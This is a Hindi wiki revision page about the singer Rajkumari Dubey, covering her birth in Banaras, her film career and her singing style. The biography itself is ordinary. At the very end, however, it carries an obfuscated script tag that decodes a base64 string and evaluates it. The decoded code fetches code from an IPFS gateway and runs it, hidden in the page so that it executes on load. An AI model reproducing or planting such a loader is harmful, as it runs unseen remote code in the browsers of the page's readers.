राजकुमारी दुबे का परिचय: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
Line 1: Line 1:
{{राजकुमारी दुबे विषय सूची}}
{{सूचना बक्सा राजकुमारी दुबे}}
{{सूचना बक्सा राजकुमारी दुबे}}
गुजरे जमाने की गायिका [[राजकुमारी दुबे]] का जन्म [[1924]] में [[बनारस]], [[उत्तर प्रदेश]] में हुआ था। कहते हैं कि सपूत के पांव पलने में दिखने लगते हैं। कुछ ऐसी ही सख्शियत गायिका राजकुमारी की भी थी।
गुजरे जमाने की गायिका [[राजकुमारी दुबे]] का जन्म [[1924]] में [[बनारस]], [[उत्तर प्रदेश]] में हुआ था। कहते हैं कि सपूत के पांव पलने में दिखने लगते हैं। कुछ ऐसी ही सख्शियत गायिका राजकुमारी की भी थी।

Revision as of 13:13, 9 July 2017

राजकुमारी दुबे विषय सूची
राजकुमारी दुबे का परिचय
पूरा नाम राजकुमारी दुबे
प्रसिद्ध नाम राजकुमारी
जन्म 1924
जन्म भूमि बनारस, उत्तर प्रदेश
मृत्यु 18 मार्च, 2000
पति/पत्नी बी.के. दुबे
कर्म भूमि भारत
कर्म-क्षेत्र गायन
मुख्य फ़िल्में 'बॉम्बे मेल', 'गोरख आया', 'नौकर', 'नील कमल', 'महल', 'बावरे नैन', 'हलचल', 'आसमान', 'पाकीजा' आदि।
प्रसिद्धि पार्श्वगायिका
नागरिकता भारतीय
गायन काल 1934-1977
अन्य जानकारी 1941 में राजकुमारी दुबे का कॅरियर ऊँचे परवान चढ़ने लगा था। इस साल उन्होंने पन्नालाल घोष, सरस्वती देवी, रामचन्द्र पाल, एस. एन. त्रिपाठी, ज्ञानदत्त, ख़ान मस्ताना, माधुलाल मास्टर, रफ़ीक गज़नवी एवं खेमचन्द प्रकाश जैसे दिग्गजों के लिए गीत गाए।

गुजरे जमाने की गायिका राजकुमारी दुबे का जन्म 1924 में बनारस, उत्तर प्रदेश में हुआ था। कहते हैं कि सपूत के पांव पलने में दिखने लगते हैं। कुछ ऐसी ही सख्शियत गायिका राजकुमारी की भी थी।

फ़िल्मों में गायन

राजकुमारी दुबे ने महज 14 वर्ष की उम्र में ही अपना पहला गाना एचएमवी में रिकॉर्ड कराया था। गाने के बोल थे- "सुन बैरी बलमा कछू सच बोल न।' यह अलग बात थी कि राजकुमारी ने किसी संस्था से संगीत की कोई शिक्षा नहीं ली थी, लेकिन ईश्वर ने जो उन्हें कंठ बख्शा था, वह कम नहीं था। इसके बाद तो उन्होंने विभिन्न मंचों पर अपनी गायिकी का सफर जारी रखा। तीस के दशक में मूलत: अभिनेत्रियाँ अपने गीत खुद गाती थीं। इस सूरत को बदलने में राजकुमारी दुबे का नि:सन्देह बड़ा हाथ रहा। उनके गीतों की माँग के चलते कई संगीतकारों ने उनकी आवाज़ का इस्तेमाल किया और आने वाले समय में वे पार्श्वगायन का एक चमकता हुआ सितारा बन गईं।

उन्होंने सभी तरह के गीत गाए। स्टेज, महफिल, मुजरे, हास्य, रोमानी से लेकर दर्द भरे गीत उन्होंने गाए। तीस के दशक में जहाँ एक ओर उन्होंने क्लासिकल तर्ज के गीत संगीतकारों की मर्ज़ी के अनुसार गाए, वहीं दूसरी ओर मस्ती भरे गीत भी गाए। चालीस के दशक में बगावत का आलम था, जिसका असर ज़ाहिर है फिल्म संगीत पर भी पड़ा। पहले जहाँ धीमी गति के गीत प्रचलित थे, वहीं तेज़ लय और ताल के गीत आने लगे।[1]

भावुक गायिका

thumb|left|200px|राजकुमारी दुबे गायिका राजकुमारी दुबे बहुत ही भावुक गायिका थीं, जो जल्द ही गीत की तह को पकड़ लेती थीं और संगीतकार के मुताबिक गा सकती थीं। मुश्किल धुन वे बहुत जल्दी सीख लेती थीं। किस शब्द पर कितना दबाव डालना है, कब साँस लेनी है और कब नहीं जैसे सूक्ष्म तथ्य उन्होंने अपनी मेहनत व लगन से तीस के दशक में ही सीख लिए थे। गौरतलब है कि फिल्मों में गज़ल गाने का प्रचलन भी उन्हीं की आवाज़ के कारण आया था। मुश्किल गाने जैसे 'सईयाँ तू एक वेरी आजा' भी वे बहुत सरलता से गा लेती थीं।


इसी तरह के कई नए प्रयोग संगीतकार कर पाए, क्योंकि उनके जैसी गायिका संगीतकारों के पास थीं। उनके गाने यदि कोई गाने की कोशिश करें तो स्वत: ही ज्ञात हो जाता है कि वे कितनी बड़ी कलाकार थीं। कई भाषाओं में गाने वाली वे शायद पहली गायिका थीं। हिन्दी के अलावा उन्होंने गुजराती एवं पंजाबी में भी पार्श्वगायन अपने कॅरियर के पहले पाँच-छह साल में ही गा लिया था। बाद में तो ये ट्रेन्ड बन गया, जिसे उन्होंने ही सेट किया था।



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. गायिकाओं की रानी : राजकुमारी (हिन्दी) anmolfankaar.com। अभिगमन तिथि: 08 जुलाई, 2017।

बाहरी कड़ियाँ

संबंधित लेख

राजकुमारी दुबे विषय सूची

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>